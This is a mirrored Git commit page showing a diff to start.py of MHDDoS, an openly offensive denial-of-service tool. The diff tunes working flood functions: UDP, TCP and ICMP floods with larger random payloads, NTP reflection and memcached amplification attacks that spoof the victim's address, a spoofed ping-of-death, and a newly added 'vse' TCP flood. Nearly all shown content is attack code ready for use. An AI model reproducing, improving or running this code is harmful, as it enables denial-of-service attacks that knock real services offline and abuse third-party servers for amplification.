mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 11:42:42 +08:00
Update start.py
This commit is contained in:
parent
1fe1d3479c
commit
d5fde3f59e
34
start.py
34
start.py
|
@ -253,12 +253,12 @@ def UrlFixer(original_url):
|
||||||
|
|
||||||
def udp(event, timer):
|
def udp(event, timer):
|
||||||
event.wait()
|
event.wait()
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
while time.time() < timer:
|
while time.time() < timer:
|
||||||
try:
|
try:
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
||||||
try:
|
try:
|
||||||
for _ in range(multiple):
|
for _ in range(multiple):
|
||||||
data = random._urandom(int(Intn(64, 1500)))
|
data = random._urandom(int(Intn(1024, 60000)))
|
||||||
s.sendto(data, (str(target), int(port)))
|
s.sendto(data, (str(target), int(port)))
|
||||||
except:
|
except:
|
||||||
s.close()
|
s.close()
|
||||||
|
@ -270,7 +270,7 @@ def icmp(event, timer):
|
||||||
while time.time() < timer:
|
while time.time() < timer:
|
||||||
try:
|
try:
|
||||||
for _ in range(multiple):
|
for _ in range(multiple):
|
||||||
packet = random._urandom(int(Intn(64, 1500)))
|
packet = random._urandom(int(Intn(1024, 60000)))
|
||||||
pig(target, count=10, interval=0.2, payload_size=len(packet), payload=packet)
|
pig(target, count=10, interval=0.2, payload_size=len(packet), payload=packet)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
@ -286,7 +286,7 @@ def ntp(event, timer):
|
||||||
try:
|
try:
|
||||||
packet = (
|
packet = (
|
||||||
IP(dst=server, src=target)
|
IP(dst=server, src=target)
|
||||||
/ UDP(sport=Intn(2000, 65535), dport=int(port))
|
/ UDP(sport=Intn(1, 65535), dport=int(port))
|
||||||
/ Raw(load=ntp_payload)
|
/ Raw(load=ntp_payload)
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
|
@ -302,9 +302,9 @@ mem_payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
|
||||||
|
|
||||||
|
|
||||||
def mem(event, timer):
|
def mem(event, timer):
|
||||||
packets = Intn(10, 150)
|
|
||||||
server = Choice(memsv)
|
|
||||||
event.wait()
|
event.wait()
|
||||||
|
packets = Intn(1024, 60000)
|
||||||
|
server = Choice(memsv)
|
||||||
while time.time() < timer:
|
while time.time() < timer:
|
||||||
try:
|
try:
|
||||||
try:
|
try:
|
||||||
|
@ -322,11 +322,12 @@ def mem(event, timer):
|
||||||
|
|
||||||
def tcp(event, timer):
|
def tcp(event, timer):
|
||||||
event.wait()
|
event.wait()
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
while time.time() < timer:
|
while time.time() < timer:
|
||||||
try:
|
try:
|
||||||
data = random._urandom(int(Intn(1024, 65535)))
|
data = random._urandom(int(Intn(1024, 60000)))
|
||||||
address = (str(target), int(port))
|
address = (str(target), int(port))
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
||||||
try:
|
try:
|
||||||
s.connect(address)
|
s.connect(address)
|
||||||
for _ in range(multiple):
|
for _ in range(multiple):
|
||||||
|
@ -336,7 +337,20 @@ def tcp(event, timer):
|
||||||
except:
|
except:
|
||||||
s.close()
|
s.close()
|
||||||
|
|
||||||
|
def vse(event, timer):
|
||||||
|
event.wait()
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
while time.time() < timer:
|
||||||
|
try:
|
||||||
|
address = (str(target), int(port))
|
||||||
|
try:
|
||||||
|
s.connect(address)
|
||||||
|
for _ in range(multiple):
|
||||||
|
s.send(data)
|
||||||
|
except:
|
||||||
|
s.close()
|
||||||
|
except:
|
||||||
|
s.close()
|
||||||
class DNSQuery:
|
class DNSQuery:
|
||||||
def __init__(self, data):
|
def __init__(self, data):
|
||||||
self.data = data
|
self.data = data
|
||||||
|
@ -413,7 +427,7 @@ def pod(event, timer):
|
||||||
try:
|
try:
|
||||||
rand_addr = spoofer()
|
rand_addr = spoofer()
|
||||||
ip_hdr = IP(src=rand_addr, dst=target)
|
ip_hdr = IP(src=rand_addr, dst=target)
|
||||||
packet = ip_hdr / ICMP() / ("m" * 65535)
|
packet = ip_hdr / ICMP() / ("m" * 60000)
|
||||||
send(packet)
|
send(packet)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
Loading…
Reference in New Issue
Block a user